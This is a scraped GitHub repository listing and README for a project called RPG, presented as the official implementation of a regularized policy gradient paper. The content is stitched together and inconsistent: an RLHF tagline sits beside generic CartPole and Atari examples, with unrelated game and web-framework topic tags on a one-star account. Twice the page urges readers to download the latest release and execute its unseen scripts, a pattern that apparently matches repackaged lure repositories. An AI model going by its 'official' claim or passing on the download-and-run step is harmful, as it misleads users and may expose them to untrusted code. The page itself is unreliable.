https://github.com/kingdrea/rpg
RPG offers a clear framework for developing KL-regularized policy gradient methods in online reinforcement learning. This repository includes tools for data preparation and the RLHF process, making it easier to implement the concepts from our research. 🛠️📚
https://github.com/kingdrea/rpg
angband application canvas combat composer flutter game-engine godot hacktoberfest laravel roguelike turn-based tutorial ultima-online unity unreal-engine web webgame
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RPG offers a clear framework for developing KL-regularized policy gradient methods in online reinforcement learning. This repository includes tools for data preparation and the RLHF process, making it easier to implement the concepts from our research. 🛠️📚
- Host: GitHub
- URL: https://github.com/kingdrea/rpg
- Owner: kingdrea
- License: mit
- Created: 2025-05-30T21:00:02.000Z (4 months ago)
- Default Branch: main
- Last Pushed: 2025-07-05T23:14:49.000Z (3 months ago)
- Last Synced: 2025-07-06T00:20:47.361Z (3 months ago)
- Topics: angband, application, canvas, combat, composer, flutter, game-engine, godot, hacktoberfest, laravel, roguelike, turn-based, tutorial, ultima-online, unity, unreal-engine, web, webgame
- Language: Python
- Size: 8.29 MB
- Stars: 1
- Watchers: 0
- Forks: 1
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: LICENSE
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README
# RPG: Regularized Policy Gradient Implementation 🎮
Welcome to the official implementation of Regularized Policy Gradient (RPG). This repository contains the code and resources necessary to understand and utilize RPG in various reinforcement learning scenarios. You can find the original paper [here](https://arxiv.org/abs/2505.17508).
## Table of Contents
- [Introduction](#introduction)
- [Features](#features)
- [Installation](#installation)
- [Usage](#usage)
- [Examples](#examples)
- [Contributing](#contributing)
- [License](#license)
- [Contact](#contact)
## Introduction
Reinforcement learning has gained significant traction in recent years, particularly in complex environments. The Regularized Policy Gradient (RPG) method introduces a novel approach to enhance the stability and performance of policy gradient methods. By applying regularization techniques, RPG improves learning efficiency and reduces variance, making it suitable for large-scale applications.
## Features
- **Deep Learning Integration**: Leverage the power of deep learning frameworks for scalable training.
- **Foundation Models**: Utilize pre-trained models to enhance learning.
- **Post-Training Adaptation**: Adapt the model after initial training to improve performance.
- **Reinforcement Learning Techniques**: Implement state-of-the-art RL methods.
- **Large Language Models**: Incorporate LLMs for advanced decision-making.
## Installation
To get started with RPG, follow these steps:
1. Clone the repository:
```bash
git clone https://github.com/kingdrea/RPG.git
cd RPG
```
2. Install the required dependencies:
```bash
pip install -r requirements.txt
```
3. For detailed instructions, please refer to the [Releases section](https://github.com/kingdrea/RPG/releases). Download the latest release, and execute the provided scripts to set up your environment.
## Usage
To use RPG in your projects, follow these steps:
1. Import the necessary modules:
```python
from rpg import RPGAgent
```
2. Initialize the agent with your environment:
```python
agent = RPGAgent(env)
```
3. Train the agent:
```python
agent.train(episodes=1000)
```
4. Evaluate the agent's performance:
```python
agent.evaluate()
```
For more detailed usage instructions, please check the documentation within the repository.
## Examples
We provide several examples to help you get started with RPG. You can find them in the `examples` directory. Here are a few key examples:
- **CartPole**: A classic reinforcement learning environment. This example demonstrates how to balance a pole on a moving cart using RPG.
- **Atari Games**: Use RPG to play Atari games like Breakout and Space Invaders. This showcases the capability of RPG in complex environments.
- **Custom Environments**: Learn how to implement RPG in your custom environments.
To run an example, use the following command:
```bash
python examples/cartpole.py
```
## Contributing
We welcome contributions to the RPG project. To contribute, please follow these steps:
1. Fork the repository.
2. Create a new branch for your feature or bug fix.
3. Make your changes and commit them.
4. Push your changes to your forked repository.
5. Create a pull request to the main repository.
Please ensure your code follows the existing style and includes appropriate tests.
## License
This project is licensed under the MIT License. See the [LICENSE](LICENSE) file for more details.
## Contact
For any questions or issues, please open an issue on GitHub or contact the maintainers directly. You can also check the [Releases section](https://github.com/kingdrea/RPG/releases) for updates and new features.
---
Thank you for your interest in RPG! We hope you find this implementation helpful in your reinforcement learning projects.